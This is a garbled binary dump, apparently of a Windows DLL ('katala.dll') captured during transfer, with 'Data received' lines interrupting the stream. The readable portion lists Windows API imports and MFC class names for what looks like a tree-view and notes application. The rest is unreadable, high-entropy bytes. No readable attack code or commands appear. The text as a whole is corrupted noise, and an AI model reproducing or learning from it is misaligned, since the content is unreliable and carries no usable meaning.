hreaddWaitForSingleObjectÓSetEvent'SuspendThreadrCreateEventAMulDivýLocalFreeGFormatMessageAGlobalUnlockGlobalLockGlobalAllocGlobalFree½InterlockedExchangeèGetLocaleInfoAæEnumResourceLanguagesAZConvertDefaultLocale¬GetCurrentThreadGetPriv
Data received	ateProfileIntAWritePrivateProfileStringAGetPrivateProfileStringAÉGetFileAttributesAãSetFileTimeÖGetFileTime´GetDiskFreeSpaceAGlobalFlagsùLocalAllocïLeaveCriticalSection4TlsGetValueÙEnterCriticalSectionGlobalReAllocGlobalHandle´InitializeCriticalSection2TlsAlloc5TlsSetValueLocalReAlloc¾DeleteCriticalSection3TlsFreeÀInterlockedIncrement[GetCPInfoGetOEMCPFileTimeToSystemTimeFileTimeToLocalFileTimeûLocalFileTimeToFileTime*SystemTimeToFileTimeÕGetFileSizeExùGetModuleHandleW§GetCurrentDirectoryARtlUnwindOGetSystemTimeAsFileTimehGetTimeFormatA®GetDateFormatAoGetCommandLineAZRaiseExceptionExitThread£CreateThread¤HeapReAllocExitProcess¦HeapSize-TerminateProcess>UnhandledExceptionFilterSetUnhandledExceptionFilterÑIsDebuggerPresentRGetACPÛIsValidCodePageáLCMapStringAãLCMapStringW=GetStringTypeA@GetStringTypeWHeapCreate HeapDestroy;GetStdHandlekGetTimeZoneInformationèSetHandleCount×GetFileType9GetStartupInfoAJFreeEnvironmentStringsA¿GetEnvironmentStringsKFreeEnvironmentStringsWÁGetEnvironmentStringsWTQueryPerformanceCounterfGetTickCountµInitializeCriticalSectionAndSpinCountGetConsoleCPGetConsoleModeüSetStdHandleWriteConsoleAGetConsoleOutputCPWriteConsoleWUCompareStringWÐSetEnvironmentVariableAKERNEL32.dll^SendMessageAÖLoadIconAÑEnableWindowkGetSubMenuÞLoadMenuA)PtInRectTScreenToClient GetClientRectéUpdateWindowGetWindowRectwsprintfAÅIsWindowOCopyRectGetDCLReleaseDCAdjustWindowRectEx½IsIconicªInvalidateRectUGetParentµIsChild$GetFocusGetDlgCtrlID}GetWindowoGetSystemMetricsGetWindowPlacementÄSystemParametersInfoA©IntersectRectOffsetRect§SetWindowPos¤SetWindowLongAGetWindowLongA<GetMenuCallWindowProcADefWindowProcADeferWindowPosìEqualRectlGetSysColor3RegisterClassAGetClassInfoAGetClassInfoExAgCreateWindowExAøMessageBoxABGetMenuItemCountCGetMenuItemIDPostMessageAÊIsWindowVisiblezSetForegroundWindowgGetScrollPosSetScrollPosSetMenu1GetKeyStateÏTrackPopupMenuóMapWindowPointsPeekMessageALGetMessagePosMGetMessageTimeÙUnhookWindowsHookEx DestroyWindowuGetTopWindowGetDlgItemÒEndDeferWindowPos BeginDeferWindowPos¨DispatchMessageAfSetActiveWindow8GetLastActivePopup%GetForegroundWindowGetWindowTextAGetWindowTextLengthAySetFocusORemovePropA[GetPropASetPropA GetClassNameAGetClassLongACallNextHookEx¯SetWindowsHookExAGetCaptureÿWinHelpAYSendDlgItemMessageAIRegisterWindowMessageA=CheckMenuItemÏEnableMenuItemGGetMenuStateModifyMenuAÐLoadBitmapA>GetMenuCheckMarkDimensionsSetMenuItemBitmaps¸IsDialogMessageA«SetWindowTextAMoveWindow¸ShowWindowÆIsW
Data received	indowEnabledGetWindowThreadProcessId7CharUpperAòValidateRectGetCursorPosùGetActiveWindowÕTranslateMessageJGetMessageA£InsertMenuA AppendMenuAHGetMenuStringAÓEndDialogSGetNextDlgTabItemYCreateDialogIndirectParamAGetDesktopWindowÒTranslateAcceleratorABringWindowToTopSetRectEmptyeCreatePopupMenu¤InsertMenuItemAÎLoadAcceleratorsAKReleaseCapturepSetCursorDestroyMenuSReuseDDElParamÝUnpackDDElParamÌIsZoomed¡InflateRectEClientToScreen2RedrawWindowgSetCapturerSetCursorPosDestroyCursorÒLoadCursorAÀIsRectEmptyDeleteMenunGetSystemMenuSetParentDGetMenuItemInfoA PostQuitMessage´ShowOwnedPopupsïFillRectÆTabbedTextOutAÅDrawTextAÆDrawTextExAGrayStringAGetWindowDCBeginPaintÕEndPaintmGetSysColorBrushSetRectSetTimerÍKillTimerWindowFromPointGetDCExçLockWindowUpdateDestroyIconUSER32.dllNCreateRectRgnIndirect-PatBltªGetClipBoxSetTextColoreSetBkColorâGetObjectA(CreateBitmapµGetDeviceCaps-CreateCompatibleBitmap.CreateCompatibleDC^SelectObjectGetTextMetricsAGetTextExtentPoint32AÐDeleteObject¢GetCharWidthA:CreateFontAÍDeleteDCStretchDIBits;CreateFontIndirectABitBlt"ExtTextOutAWSaveDCPRestoreDCfSetBkMode{SetMapModeExcludeClipRectIntersectClipRect\SelectClipRgnMCreateRectRgnëGetPixelAPtVisibleERectVisibleTextOutAEscapeSetViewportOrgEx%OffsetViewportOrgExSetViewportExtExXScaleViewportExtExSetWindowExtExYScaleWindowExtExHCreatePatternBrushôGetStockObjectRCreateSolidBrushSetRectRgn!CombineRgnGetBkColorGDI32.dll GetFileTitleACOMDLG32.dllClosePrinterMDocumentPropertiesAOpenPrinterAWINSPOOL.DRVgRegQueryValueExA*RegCloseKeyYRegOpenKeyAvRegSetValueAZRegOpenKeyExA7RegDeleteKeyAGRegEnumKeyAfRegQueryValueA2RegCreateKeyExAwRegSetValueExAARegDeleteValueA£SetFileSecurityA)GetFileSecurityA1RegCreateKeyAADVAPI32.dllShellExecuteA¹SHGetFileInfoADragFinishDragQueryFileA(ExtractIconASHELL32.dllPathStripToRootAlPathIsUNCAPathRemoveFileSpecWFPathFindExtensionAPathRemoveExtensionAHPathFindFileNameASHLWAPI.dll=CoInitializekCoUninitializeCoCreateInstancegCoTaskMemFree>CoInitializeExole32.dllOLEAUT32.dllìça¢ëëë ë°ëkatala.dllDllRegisterServer4I.?AVCTreeView@@4I.?AVCCtrlView@@4I.?AVCView@@4I.?AVCWnd@@4I.?AVCCmdTarget@@4I.?AVCObject@@4I.?AVBrowseTree@@4I.?AVBrowseTreeVisitor@@4I.?AVXMLVisitor@@4I.?AVCDetailsDialog@@4I.?AVCDialog@@4I.?AVCEdit@@4I.?AVCFindNoteDialog@@4I.?AVCButton@@ççç
Data received	Îh¶`þ`P(Ë×~Ä58a¿5% 6tîÂ¢ß¤Sù¢ñÊ»P®5U¿± +¥Ô_³9m¥Và?kòj4åÞRÎþkûÌÓ¾T$[- ê ¸l¨e¯×à»-uÒ,t rºA£ü,}ß þÈä}AF!<ÙZnÕ=5 §ø,lÍÕ¨K!Þ½t¢ún/î7;]çÁã_I!BºY¨¿c¿-æº¸\<\|ÄÄWxÖoÞÎªåÔGìH û¡®iÀ¦ ÏÏaÊc/»VäyÕ¦cåj¾n¡Àb®ÎêR·½º³r®5w¡î_õ<ÙP/¯cÇêz¹·+´R0½W¿)®¨ß½æáî4ñ# W£jÑÇ\|¬â§_yÿßÅl_õá¦/dHòeÃ5½® ³µÃ§ôn¸´ '/%bôøsµ©>¢D©'óFäµ_zrµÑ4»{ÀÿFÀ·k©ç§>'´«R ä!m¨0a^ eÏ7^lÊ RäÄÿm´5&ÜÌÙÀW·órÔ¶ø+uÕmÜ/ì^\|ý~ªèX[^zÓC5±×ÁÔo²¹7¤Ý£%ºñeâ4Çu®rzPXeùÌr/ì³Ym¿¹Pshg¢F m°«5ò¢yÙR×HDó_9´³º× øôHH:R¨¡§Ì_)Fÿ¨Ç^@âºWÇkÄÀ¬/¼½.¬½^k'ù¡¼l¡û{$ì¨õè¢lÿqöµÚ¦è>©ì½d m´Ä$§ÿybdº;¼ñméo¨ÿ è9ºÜç°JDÞ9R¸?;ª©õzH:¬ÿúk°5ÝÐµm$ìmU']XÙÜ×Â)Hµ%À\ë]%äªº[ìu¼9 W^´P/çy¼b½H\|;º9;br]\|a§/]ª$ù )âùH¦bbèø¼ÇÇ5%m'>ÃÓõzÑÇmU¼9ääò5Ó¢Ñ%5À'_Þ4k¢H/bßq<P} ¹sñºmæ d/¨½vämäÑHÛsbWÝfì'¯ÑmRr¬ñ^u%°m±r±Üì]ÿbÿÓ/éÃ{mòµñ ×j'Ô´ý´º>®.5yÜ\|èuv©ÇD§rÆ×ß_Ç²,qÐ9ýs[åtÍ©Lf¯ìÜ\øÂR'WC8ÃÔ)ÃÔC4òòÈ¶°c©ð_l üîfÁæiSÙßM#ÀrÅ±wj =pxqÊoØîf¦Dåw1êÔÝ»Ï¤·#ª¨%SràYÈb Ìv_äªÁS ¯ÑÅ÷yÙÆ ²úÔ¦ä3ld\º«; ´\ÐÞî«¥Êóo³ÒÖBoü¥æN¬¡i;(TñÐí%Y¨Ôû@¶a¾ ýY±F=Ó,¤ö[`kvao× ðm³q4álbb'© -Üé-p7\|þo¥ S 'D(°oÄ¤ û&%TÿbøúÞyèö~ÐÜèsÓ.^s³ºXÓ_½ªHD¤nq¼öÇE¯EðÅOP¦EÖ1Ç¾ª×W1á&pÝbûËà©4¶ Eî¼ÅáxÌ#8ãb¿fû÷JÉ¼åyj2ê ²k®k¸ÈµyCa«ó\|û,¨ÞÖIÛÃàÁwúbìü«ð/DLlfwaºï9[U =ö³¥å^CEjæ{¯,`×(jþÌ'Á§[ÐB .@FøÁD1]l»uF^®üæ¨-¨¶gºvÅ]kæPNÇ'Ç¨åð?'åÌ±³ró¥3ÃíÍBoéëÁ9 VC¢ÈÖU¾¸ý1õÛ2<åmbÚ³påíÏ}ëÊZvIçÓ3úAÈ&êèæh¹¤J û'\Ë@ìä÷ðPAWjG/löÇNxÛTî6gí!ß¡wHó¥tÏãMÒ{AcßÝÂO\aìø+_ç"TÊQz¸ÛÔ\|?ÛÚÝéøØ¢¾ÅëÍêËcÙòÀbÊ~/{ÝV:KêS+ÞqÚãvåè±(#¼×cÓ:é½\û+9wuåuG9TåMùµLw¥ÙÇ[¤mVÄ{¼qmï ÒíÍÍ¾NbÁ/·ÂêQîbµKù¤%\ÌÄ{qykÊõÛïæ¡×ÙÔþûd§xñ;´cûãö5ýüÅVUß!Vá ¤Æ<]/±¥Q½oÃonµìm\Ê2ôÔ@MÄg HC[?<»ù;Ñ¥:CÖàEèÙaHuÜÇn¯#1í_(¸Øh{Qß¯Õ\|ÎÓ¶GéG/¨¸L/4\|±§C\,%UbÆKË@Îuî_y°$/dµ ?ýUSá¹éÄÏ\äZ±vL$ ÊîµPdsHìc»ûGm÷WºG«kdVEæzl®· éJ:¬ÂmµÇSÐ%?¯¡4ç¾èÏÅ³ãpàeÅÉ:Æw¶itÌ2Ð¯;~ä%=Y8j8e#7·h²25à0ìîqè¹ÏNieØE²rsÀ æö:ªsrÑävX¹ºUSlFü MI`É©ÆU¦BõÅ/©¦Tu«¦Ãu3:`î¦D®®ùâÌ\\Íª÷k{QLÖÁ&ùÉn½+#WÞHbÓü1JçtbRµz\|Sö$úç#x÷ âoI©ü¹dîM½,Ñ¹71ÂÉ»E»!û³Ç]µ¦_Äè´àO6.ÔYìAkÁ¹+oÀfXp£ýa;ázC®¼kD_¼Ì ùª)_Q7l³5ÑÅtå¾/Ä)¥²/¤>±xöª{d\|0`¡ä4äL=Y?××3ßG)d»8R2û>åãôõk%LYT´ËIqBUüryiµ î#Ë7}Åa#þKYüçsTò@Í§®Å®r8À+aü}ì¿_¤Ä é¶TVÄ\kz½=É#Ã§¦iP"¸Z¯ÇtèE"»tÇîwuÝBAQkvÜfGÂ¡ËQè(ØnÇ¨YØ¶Úþÿ0ºÅ´ AÖNíu ¯"½°aÂAêK9ßLÞ9õ¡j²eÜ:N#mÙ?¿DÔ ªÔÆ9Ü5o>>T>cz)?²¯$z¦À¼´¨e®>×éòûæU0I '=Â´T §w$)s2èum±#°o?WBÅXÕÖÃ~Ïâ&JbÅÇ»¤`>øaé¸Û÷·»ïÍbØó¼]]åþ>_RL ¿É¯æofÝ¬äbÙ´²Õréï^Þ AzÚÇ¥J#ø5Ú_ã+?»x^ÆàÖa[pøôp[Fs1°6CvÍI6êù%j<i [ó[ªw¨V¼÷C_0õºbùc8°Lª\Ò
Data received	UÌJÅµÛàþè÷¢ûÂz· Áéùy&uþC5Ò-jWÓÇß¦ö®ä J:NXBàæ·qßK»ÄÌbW7üÖ¿DPîð#haÁ¯÷ìuA¾S3]mºücIÙHNåRÓ²\-qs'uH\"¼dhû÷©èÓIµëß ÑæêÁ]74ze{jy5ý+éú%®§ìMÖÀ^ý\|³ªXUAEÊßR.òhALToIWÊÄP²4ÖÎF·¾K³²»¡½\èW4`V©dR_úP_dVÇÝÖ+`SYYØg9ç×s;ÔÂ¸$ÅÕð9¨m·ô>e 5ä.îçäµ¿¨m^UmA4=¤s¿Ã+::%Ï$j òÝ&[BüðDØ´'bèø²eÂ!¨¨è+çdoÒÑåEtT¶ò[S^=Ã)¬îþK9C½-c[ØÇ¤¤CÕè#óITÇ§) êâÄÙÐ9ghÞ4n©súmGÕS»íªÉ¤w¥O÷d2=Ä.Õîø\Ñ¢¡1½ànyA¹ï¾·ÛüìÌ k9KÚÁâZuÊ¡A³Â±0.LEÌ3AÝ"¼,w5aÐeY¼Qµ½¶=ö.÷¨T),xºò]ÑíÓÑÉºl8Ñ¹Õ\|Ê¡ÀPÅ"l8«ùÄ9 û10Q- ªTæ0b<ü²ÍgU^mècÅdµÌ]M%l2ª ³¦/,UUÄá+ÙïÆÓ9BÛ´¬FôÀÁU0/ÒmÊu«¢M}vCgØlåä<ñ{¤8ÿ¹!¸¶)ËU3²õÂ`õgPß¿æmãÆ¨£,êÇnå3_ªÇnú·.\W¬Ýæ ûa}\|½DÈ!T)xÛ·:q)p¡µQõXOFàðWéIÎ¢ý¸[G¬£uzõâI+û·G´â üL¸lôÀU5P%ñ2C#VZD©/ Wzæû07léý{üsGùdzl_nm¬ý/øI WÉ OÞoXßôtø¤\|«AG&½T¢L_iX§ªÐD#ä³îëîÎÖXú<ÍÄ8á<PMÿúK ÂåÌº½DýÜødaÒíÂ5²è¬îuÞõxfmea=¶hm7{¾üyû{%ÏUhMN¡!.ý²<vß\|ÕÜ®yHQAÕ5U6yä~g}§KK%nnORFDä§ãÛ´Þhíö;BE@õÁE®y_ÁBØ6ùlqv}, À³®!¦ÌM4IâØÎ/£¨#ú`çð¤äÎ¥Fªé°eéGh¤¡4·êÍ_avÚþOë¹íÿñ~þj¡×YæÁí3]óò>7ðv:À¿)Ü4¬ª¤ÒR\|výr-ÌHL÷vëÃ®û¼ã¢A´1!9_ ª/ÈQ¯Ð¼'O}ì3Ôu5>W3Ýuª<g}ª\¿Â£PpÊ[ÈÎ5£5òæÓÎ~U{õf$Òëô)æKYÁW¾9F{mûð®]ñXðø°o~!ð%7¾+eP÷òeÖW@ô¦l+þåû¨AÐK¡Ç;Qi0£®%\.¿o±T#ååòµý©Ý@Ã@ôü%\|¢Âu±]ô_ßCñgëC¼mÂ: ùb mÊZB¦&¨åoE6wRÜ%eã¢~ÍoÒªÖi¦aH'.u\|Õ¯eåøTé"ÛÁ«pa®9lÕÄÙºRª ±a°tø¤#¥®¡¾ùRæÇRÅÒeíéUÀý.?ÓÜ¼çùg £À EUÃû}Þb2.gC¾{»ôUiÒE½8¦§«ÿ&kÿbMÚQÅ¡\|ôCÿÜ«Ræ=kÙ¿æä=9øJÑVº'Ëßôãt8:d¶@#gr@xrZO>±RÕKQb"Âv~d´zªïccOQ]ãü ~Y<[³Æ]M¼Î¯CU"!9³%ïvmþ ðS»Ò{lwõÚ×´ÜwèÓ»VpK°$Áµ©èq¿ÓÑg$êÀH?ª_Bb5t>Ï{óWäÊçcUÿ@íS}@B[\|'WÕ¸{×ÆGß¤ô¿F`PîD'Ù1L8fÎuöv_Aº ÿâX¢Y zL´{Õâ Ô\|µøl6ý$!TO0åÎEð=á?¸\å±T¸Ð¡Ôm.jH ä`»mÑ.·{~¢>ÌÄ¬~zP¥"Fy2:ÌÓOîêØR SÝaÃyZ4röüâ»ÃÊu#µ7â?À}uq}~-lÐz²!ÞáæJV\feßïvU±Ï¿4¶AæÿL%uWh?·ú¤¨æ´ ?ïßBÜ£i°\`8ô¹·.ä,øMÓ~>Jm»¬&=ß³ê§]µ®%_¼k\<ÿ =ê"02q/s^K³ÅÜªP· ,ò{©êÓ ½wþaD_] &s¹/æÏ\|â³?5ùL¥Í3Ìo'öò9ù>¿®jøÅróv²;Hg ¿ F9õPì³Îl¤²Pÿ?û+?»Â2¾þÃ¡Ü\|`ö!=t)7j¬ gX%ßu)þè<QÅâ2 ^©æ¾6pqù{ÓÏÄs?c´FÕF®p»_Û>?ÃÿW¹Vi¨í©kv¿¦MÒ³ÂÝ)zú¼.nyxôV\|÷P¹%åk½IQïæõU·;nÿ7óGæ¾êêarÃ;µÐÕXÑO5Y9ào"oÂÅ¯Ù¤»!;°l e!9í¯ÞrþÕÊ<¼»ÜýøL½ÝÞ \îuÛ%A@Z"¢xsª3hÁÂÆF à ±oø§ R½:À<Í±CpplA7ÝªÔ ,QJ<ÝzvNf C÷\hÌðlï¶È%æ,ºª8Û-t«æ\|JÕwºÈs0ªò½'Ül®!õ0ß³!mvF]bnÏR{8{ ;¤e1È³£~¢ÖÙIv1^çÁg{¶Ïu:î¬Ó.1<%Kù»eÒE Ï x×ÍÑ®¥Ú(û3E¢'7¼ÎçcaÉdzW¡E+#\|;ÃD!+ãðÃ3§uFöCì&Éd,¨ã5wIQuS\|úàol ÕÁÒa#ÞAy"@ÞC&h5FêÐæ«Ó?Ð;JàbðzmE¦tó}¾aõÔý_@ì°o·ãÞ=)Ñ/Kí ±AN?¯YÕF¨CÂ¨ Om$Ç¦z-M]2~ð%kæ1];£·Õ, ì<ûcqY't¥è3ÙöB©zWÜ\Ac?´yE" Á¾cu:ýlþº¦(éÂJ3\|élCÂd1HxÀÅ¼ ¸&/1"Í©/>o0M I:ñV^±ô¡$±à¼ØÚ-;þ%µrº & 9êB¨ûø¼® 5òÄS»Ú¢3zFÉBÆ
Data received	a÷46àyKtU®ÏL¥u»GÐÂ¶gåèB>æõ]`ÐëP$Ñow¬Ðdw¸âÐGbÈBOa¸@Y&×²¸mï³ÜZÐHÎ¼¥x'ØUÎv/#Ì8ð)e ó/¤E/&,Óè¤@@ÓTwwqÇª !MÅS-ÒórLýùc¸McÇCïóäãÿ~ÅÈ9ös£@à Ø þ·öØ/3¬QÀ¡ÛsN}3+¦¹á8ßëÍ{è5ßÂ%a)Õ{Çrsã¨À¥N¹/xÒÝBßÁú«ÿYwÊ¤ßû÷+l÷ù¥: ;Ã00Þ^ÑuüÀ¼&÷¨chºTúÜPºy«2µÕbNÃø¬Ëä .ó±à¿TîøãXAÿå÷3±;ü^ü¶5a¹&K¢ú¶2dÖ¹o³°gL¢A;/@¦+¶/rºyå)Æ¦§ì]Z=, ÜIã'Á8<©aÝÆ¨µìJ&EÍüö¥vV_S¢ü¥ÈÛþ2,¡a[âh9&}hä´èüÊö+.î÷}"Ì{+8¼=O«ôÍÁñ,µ)Cä7(f×Ä[Aì%-¿;-b¼ûÓi\|B¨LFW-¤º\©âÁ¤ï>de6ÚqK^«®¦`üÇÖ¹5Áß5Õë)qZhZRÚ(u¢Ý Z\l½ý7³8§çìí´<(âVéýX7Þ(é Z¹¢ÅMüýhNBp&¡<xKÌTà©åxûäª©°møS\»ì¾d {5uhyvãä1<r{½æE%ÅËi=5cðÁ3sDÔF=®mLsãI s&"tµF[éy¼³ð¶£ ´¿LX_]ÖR!4UDFAõæ9ö]?0}bÔ¿ñJs§CøsYùÑ:Ãù#¯AegÆ5\Êî]þÜÁðANs0ßî+Y R8æ1ò±÷\|=ý¾\5r}Ó0lsò ö+ÎSÛz¾Ý>Þó½=J :ÇÉÄ;ë<ðUÎ¶Ü98õ±°Ú ¨¾çyÜ0=äLÙpñUñ:]3=qzRÝ¯'Ujw4WhÇù±&ÙíuÂ+½Oéî=è¯}:[ tùÌ[Æ¤ùpdq}iÜ@Ð8qv.Û/¤ÿuþÒIâzÖ9Ü\|çDWñGâÇsaBßTÓè¿4·«éÕ}ÜONõO"Íò=£å&Ä9DÔ#,£8àÔw)<ÕQVì=øÎ)M\|Kä!ÊM>¿r®¨üÂ'æ\ ¤h´ÂùõúÊÒ 3»[ÿzÕ3'ûáh(3 ùc5ýóÜ(µ³ ùpGÿÌý5 +Ç×þiOÍãu¥q@B§Ý¯X©Ü¾µ°<CÂo}¢ýð MÏ1+ }ûSá²ÄÚ8æ°3b:½¼¾Ì>bæOÜFANÿìBýÑêæ/tu^zbufá!Ì\|°#pÕòÀÃ=°¦«.ª²ô@\ïGRM;B$ºUÃØõÅKÓk¸ÔÂ¸qFdðêQàpúyÓGÜ+¿{]<¡Æ®pÏË+.sÜC:¨¹tîQ{§Ù?ô÷çyièßÀ7äàãÕº¼«Ø¼ûhGå¦ë¡aüA)éåK`òï±:_¿&¡°p,U°7§]kÙNÉ ù&¥·ÄðiÕTVtFú©ß¤©ólúI:õñj6ò#_Ã´'ø~Ð¶ùp0¬¾4jþÉ½üÕÌÖÖR¹nµûÃ¾ëoGK÷ 7ì2pÚ:¥+d¾`¤éO9 ÉÆ÷Ý¨xY>²YÐìèÔ4VÅæXáé¶÷PTbùöÌ£çßúm¢?sÐ-ÔìMqN\|häRð,(°U4}hL[ìF«aúöþØà<>ýÐ=T´BÓì®¦9Å\|SjàMzvißÚc@ÅSújRÛÂA0m(WTEOSA75æ°×¼Ýß¥®ê x:T¸%f[Q8ðz7ä=ÍDO\|äOó8E/xñ:ÏÀorP´¢ÖÍp¢D`18Ó·+ÒMG\|¸nOÃ)¨pOÛTbOYqNZ¨â¸OóWï`åì4WR©Áð>nþäDëK ª/Mw½¾þª>êmc_9ªK<½¢À §1hwÍ~Ä>Ü'³kÍäà¶Òí+åÆÏÇÞÕf½d¥jEÀúÀE oi8È®ç¹ù 'ñÒ!Ò°2w%U=ÌbÛìÎ!·Ì}zÔb¯ã[¹wôõ wD^ò oÇÊé`É=2m¶ü^ÀâËóñ6âÇnÃH "5dÃ&h·<æ:@Yå¯ÁcáÒäó+¶Öáìyü^ FlSÌÛ§ÈîJ³u (ùiR1úLp#¸×«kCAz´×sË«óy±÷ùÐ¢ï"KlþhæsZy¦dU3i(ÍÌPsØÜ¾ðýü¨"®D¨oHpToÇ¼%ªÌ¶äå3]ê£^bÒ=1{OÒ´çgR¯MªûEø¼hª!òNt·9zvôïÃ÷-=ãÕüånD-luGBãÃnTÜníLqñÈÇ¿kK¡#ÕÿT\|'Cñ0j¦MOÎRâ=¨ ºò¡gíÕM/èIß+»YcßõwÓÅÛéé¹zÃ}-S@7XM0ãS2öZ&°Gj<bB±^8¥ÖO y.8NUFÆf`Ýî¹nráEÿ2xÇCB¶LV2É¡«8)a".£+&^rÈL4¥ÐL¡p ÿµîÔn8<Ý1;JIÓ»¨ñÏÙ0b{Ì9lÛUÍEj(R à¦Z©}«òGµJå¼élü>\|Ú¢Ø£U+â!¹¤ûÒDî\³nïh]ÄiéÀ½öo É<¿0ßª»ä7wßBA+ñÄy/N¦sÓ£«UV¸·ä«Gä¼÷\pVöDhîtÐÉ§éÝÒ)ñrr.Çov{ÐñnA^ÇjB2f~s¤ÓURåAÝsü×¹«uw,42ù¾nhÃÈÆ´L]7ÿÌ¢Sç«êùÀÂÍ¸MúE.Ûü3>«ZTnïRiñ×Åö¢ÿñ¼*óTZ}/Æ80afa{eíeÒ}Ð3ØÅÊ¶ÓÀO! áÂáNPL2çÖÖ´É:_ ©è=7¹ÈqÜtoÒrÐEÏlâ¤üàrúãßª?n §qTN05@Órøkô®( °ÏÊèª"%Ú+öùÖÇ1ÿJA`ÁH`Kþmiä ñcÉâÈà NÏZ þCs4âÓ0ëò?C4z©ãm0x¨<ä7Á®åºé84f¤:ÅbN]¡'ãrÞ4Á\#p®Ù]È³¨¦±Ñ¥@9}õlZHÁßºÅ¨q0ø²YñXÔøL\|hokÈ4Ã
Data received	Q>!Å]'?ÖIË\|éDeSÓA!WÊ¿¹·©j$Í^CúÉÉyÕ?âT òZNàïü«4V¶=Ä? Áf²[{à4yÑ) .åÎ¦jÉ5õR¨r:E8õíï'TÇ»)&äOÛ+K~BHÖÂ2Ã1¸zÂ&Ê¹ÏèÛ;ÝÏ»çªìWh8¤û!@Â»\|JbKMËG¸nkãÎQh°kú(£ÐoXiy^^lPA¸øº¯'(ÖÎhÉc9ôDbÆSÆùrai7³¹£hvså2)ó}æ!ÄéÞ¢ãpÕ×éaV!øà?×Ñ(=?Y´âÎ!>\2\Õþ8Õ¹waMS&æaäû^YrÐ']¤ókLªÍXeìmÑ+æ¥Ú÷·ä¦ß &¤} ¤¯§ºã¥ 4Eª¥Ã ¸ØèeòØ-ÌÑò¡vÒ.ZCç¥´¾öË¦o XDÝºÃqþñq"ê¡xÞÌ`é'ÜBùviH;¡«æäÅöîM@t£r7]ìl¨oxì9A={-'±U´ån´ìªÍÍÕY¨ÍK úÀHT!râOÌÎuCöKþMªVtøÒ)¸®7,Y~!@-ì ÙªÿÇ«f)ëì ENÌ8>ýcW3»9<JmÈÒÏáîì#ÝêÇ4Û~:ÛõdÿÍéfîfñ$j)'¡Ý/âè??#É¼©h -Vñ¹5õ)Cê Âá'PÃÀ^¢Þ"ñUåi^uÆñÙ±òàÉãoú%/M#wI»Ý²áq8ñö¨Ýè»/x ÒÁ§ÂÌÀ4&OJ6³Xð¤ÅÂüÜÁ½õÅÑäåW\|¨xifìi/Á}ÙÈèñ)8\}"¦>ÏVu>mÜ q2=B=¹ac¦üÞ®É#"'ÍÊÙÇ¥³3EÙÌÒ\|W@_iy¿ùÿ@tà¨¹ )ÿSð «qãÙ^h³ñ¥èHR³^ÌT(/¶÷°åì¥ÜÝ Õm.ÓÏ ×-Î °é¹A¤ù±I©îµpõ /\|J:û4&ÉóVºõëTÓ× d·C-ÕÅ¢ÓàuI¸C õ"fçñWÜA\|º¸Hàâ÷mù¹n6äKæL)ÙÿÇ½h³%Ée¿Î ì 'ÚI ªÎ¨°w²Íìè¹Þn 0WBÉ.,¹ñDÒ~Çõ'Øot7>AüÂ"&¯W'"Þ)ò'ùåëgÖJÌ)YwºÞ ç±$dßÈ¥vèÒ-)OVåç¡fW#Hï;°)ÑTD)OÚ®sclàJF°ÇµNóñ$¥¢³8À#/I®eÎØ¼¤¢±fQ8r_¢§]teü¶¨ü%ííX.º]µ Ô:sgÒkµä³ åÒ(R.klp-ôm.-`ªKýS@å³Q}ß¡ó& ÆC¼¥Õ©O;Zl(àä\jÇ.ü û¹Ü/2^óúÔb%ÌíCô[Ûg¸Æ/ðpnâ(ds@zp«÷ &øãÕ¦¡ù "ÉFâÇù ÀÖrüt¬µÍù¯%÷¬Zß%1ü¡¯Ó³]ÈR÷1{$ÀÃGÎíã¼¨^q$¾Õuù¯ÆáõØ~´X Oh ÖØ>êêµ¢Õ-ÔãönÚÔÃ8qaÏUh;Õç£%^ÕÜáÜ)çåÕ¦óJ'½æñÃâe¤èÍËÄÿgRÍWèåÜC0c¤c3¬êW"#ËtEéåÛßô(¸¡$p)ÍÍ"2aVÌÂVA{÷áâ\V i¼ï©ÑÄ9©¸ÕëpÏÓtkÄ&7FLYÁKûñJöFK¯ëÃûc`ÛÚ÷»´!ï¢ã]Ó6ßôwÇ8&ºXF·T¹o ÜLb%`X ðÒ[\|EM§µ¡½C[°Çä2 ü¶v<T4V¸Õ¢¢õª×t¬\|¶/°:ÀÄsUâ x´n7Ø¸äâ;É»¦ÔaÔü rõÔ¯z°ñÇ9Åqz®&a{¨àÎ5yè»½ 2¡½2/ÕSmLõïSNZ½¼#Cæ:3ßn í)}3WøñÊÃ7ìPjóÁlÈ#27c=%n/¹Çeù:¯¼Ò¹77Y§-QÄ¢Hð>Ò«p=Ï2®X [4IÀµÞY]klZ®4ËfðÑfæ'õ`öï:çI4ï¸Í_õrqÖ4øµZ8§«YÔÔÅª¥âè8N[ÓCN³Û'´[pê3QðïÒà7ñ82 -Ôëlªz8Ãg1cpçØìmvSÛx&ap<³®S¡okÖ +ãQäª 9ðârd%<qÕÈÕjÁ,y«ºx³£Æ¡íü¨ÉL¥üz'Á«.çmðË.7rVv^F ïo #;hYRåË0.x<MMíÂ.U?´áþÚ ÊÔâÈãÐ çkQÓìyWôáªèzÃÊ4NöùL¶/c[ð$ÂªÆ.AL¨ËM¢K5àzi ì>8pëXBZIñæ÷E«·Sü3k«@<-Êk?pÍ<íÃV.9Ú£ðObáÔÞº~ù(Õð¿)Îk}7µÂäøUi6{(I°`v¸n'ê\|ZT"G:YZrlfÃG²-Pc%!Õ¥È¸Í"édAÿcÂÆ¡ñR8Ì^ìõÌÊ /Ðç8séÌà´pá¥ ÿ GãG7!ä'Y¶K-acÕþ7m©ÄTCÄ/à§ñô]#X'xc[ñ×æÐ³ÖÎ$"Â.Æi§è-µØasà{(+ÇGµÁ=¼kýuE¤û)¾VÞl\|TyÔjë éÝääD`î$1 ²ØÄ&ÔºtéxFòox[ó«ºÓYÿþ¤«ù¢_¬'VmF$on,#s+}uLxººüÓp!HM¯Á¯lö÷VTÓüü2ôöm!!ç©}I§1IìGèév¨ëÒrÿ°³¸²=;ÿsíXLN4á ~gñZ_]õ½L"ü.Æé §°s¥.9ôøW LmÌ(aO©eà-oò%Æn®9 &M,xB³ýûÿ¢ÜUGqzºäÎKkÊWóÈO+/<â×ßé XãbisÐ>iÜds¶¤òA3IÄÕëb´gm·xÀ-öìO1%8-gÎ4ÐÜvÎ©DrÒZÁê9ÂíùOùmC <ï9ÈlªñPU[Æl, 4Ü×ê1â\³dFUò«p½s6¤»×a&r¼è\|`Ti2¬PàÁ5FS\|èal\#ÈêëâËâÐºäêÖýÓåQÓ='óö¶r¾1ßØvLô¿±TìãÜ¶³3y©ó½Á;äë?øâd·ZF7pÍQÃlqF¤ûjÙ7
